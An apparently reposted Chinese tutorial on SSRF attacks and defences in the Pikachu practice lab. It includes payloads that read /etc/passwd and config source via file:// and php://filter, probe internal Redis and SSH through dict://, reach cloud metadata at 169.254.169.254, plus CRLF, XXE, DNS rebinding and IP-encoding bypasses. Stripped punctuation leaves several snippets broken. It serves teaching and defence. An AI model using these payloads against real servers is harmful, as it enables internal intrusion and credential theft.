SSRF漏洞实战:用Pikachu靶场玩转curl_exec和file_get_contents攻击链
SSRF漏洞攻防实战从Pikachu靶场到企业级防御体系当你在浏览器地址栏输入?urlfile:///etc/passwd并成功读取系统文件时服务器就像一位过于热心的管家将保险柜钥匙交给了陌生人。这就是SSRFServer-Side Request Forgery漏洞的魔力——让服务器成为攻击者的代理机器人。本文将带你深入这个既危险又有趣的漏洞世界。1. SSRF漏洞核心原理剖析SSRF的本质是服务器信任边界被突破。当Web应用未对用户提供的URL进行严格校验时攻击者就能操纵服务器向任意地址发起请求。就像让邮差误把伪造的取件单当成内部指令从而取回本不该外流的包裹。关键危险函数家族// 网络请求组 $response curl_exec($ch); // cURL家族 $content file_get_contents($url); // 文件读取组 $handle fopen($url, r); // 文件操作组 // 套接字通信组 $fp fsockopen(internal.db, 3306); $data readfile(http://internal/api);这些函数就像服务器对外开放的遥控接口当它们与用户输入直接耦合时就会形成典型的SSRF漏洞触发点。特别值得注意的是不同协议支持的函数存在差异协议类型支持函数典型攻击场景file://file_get_contents/fopen本地文件读取dict://curl_exec端口扫描/服务指纹识别gopher://fsockopen构造任意TCP流量攻击内网服务提示现代云环境中SSRF的危害被放大百倍。通过访问云元数据接口如169.254.169.254攻击者可能直接获取IAM凭证接管整个云环境。2. Pikachu靶场深度实战2.1 环境配置与调试技巧搭建Pikachu靶场时常遇到404问题的根本原因是路径解析差异。不同于原文提到的修改方案更可靠的解决方法是检查Apache/Nginx的AllowOverride设置确认mod_rewrite模块已启用在.htaccess中添加重定向规则IfModule mod_rewrite.c RewriteEngine On RewriteBase /pikachu/ RewriteRule ^ssrf/(.*)$ ssrf_$1.php [L] /IfModule2.2 cURL模块攻击链构建curl_exec的协议支持就像瑞士军刀般多样。在Pikachu的SSRF(curl)关卡中我们可以进行多维攻击内网服务探测三部曲端口扫描?urldict://192.168.1.1:22通过响应时间判断SSH服务服务指纹?urldict://redis:6379/info获取Redis版本信息API探测?urlhttp://internal-api/admin尝试访问管理接口高级利用技巧# 使用CRLF注入绕过基础过滤 curl -v http://target/ssrf.php?urlhttp://127.0.0.1%0d%0aX-Forwarded-For:%20192.168.1.1002.3 file_get_contents的另类利用当遇到file_get_contents时除了常规的文件读取还可以使用PHP包装器获取源码?filephp://filter/convert.base64-encode/resourceconfig.php通过压缩流绕过扩展名检查?filecompress.zlib:///var/www/backups/2023.sql.gz结合XXE进行混合攻击当允许XML上传时!ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd3. 企业级防御方案设计3.1 防御矩阵构建有效的SSRF防护需要分层防御体系输入校验层正则白名单校验/^https?:\/\/[a-z0-9.-]\.example\.com/i禁用危险协议在php.ini中设置allow_url_fopenOff网络隔离层location /internal/ { deny all; return 403; }请求过滤层def safe_request(url): if urlparse(url).hostname in INTERNAL_IPS: raise SecurityException(Internal network access denied) if urlparse(url).port not in [80, 443]: raise SecurityException(Non-standard port detected)3.2 云环境特殊防护针对AWS/Aliyun等云平台元数据服务加固# 使用iptables限制元数据访问 iptables -A OUTPUT -d 169.254.169.254 -j DROPIAM策略最小化{ Version: 2012-10-17, Statement: [{ Effect: Deny, Action: *, Resource: *, Condition: { IpAddress: {aws:SourceIp: 169.254.169.254} } }] }4. 高级攻击手法与绕过艺术4.1 DNS重绑定攻击当目标检查IP黑名单时可以通过DNS TTL控制实现IP切换注册域名并设置极短TTL如1秒首次解析返回合法外网IP在服务器发起请求时DNS返回内网IP# DNS重绑定模拟器 from flask import Flask app Flask(__name__) app.route(/) def toggle_ip(): return 192.168.1.1 if request.args.get(rebind) else 8.8.8.84.2 协议混淆技巧利用URL解析差异绕过过滤十进制IP编码http://2130706433127.0.0.1十六进制编码http://0x7f000001省略写法http://127.1→127.0.0.14.3 服务端请求走私通过畸形请求触发服务器解析差异POST /api/ssrf HTTP/1.1 Host: target.com Content-Length: 56 GET /admin HTTP/1.1 Host: internal-api X-Forwarded-For: 127.0.0.1在实战中我曾遇到一个案例某电商平台通过限制file://协议防御SSRF但攻击者使用compress.zlib://file:///etc/passwd成功绕过。这提醒我们防御方案需要协议组合测试。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2449085.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!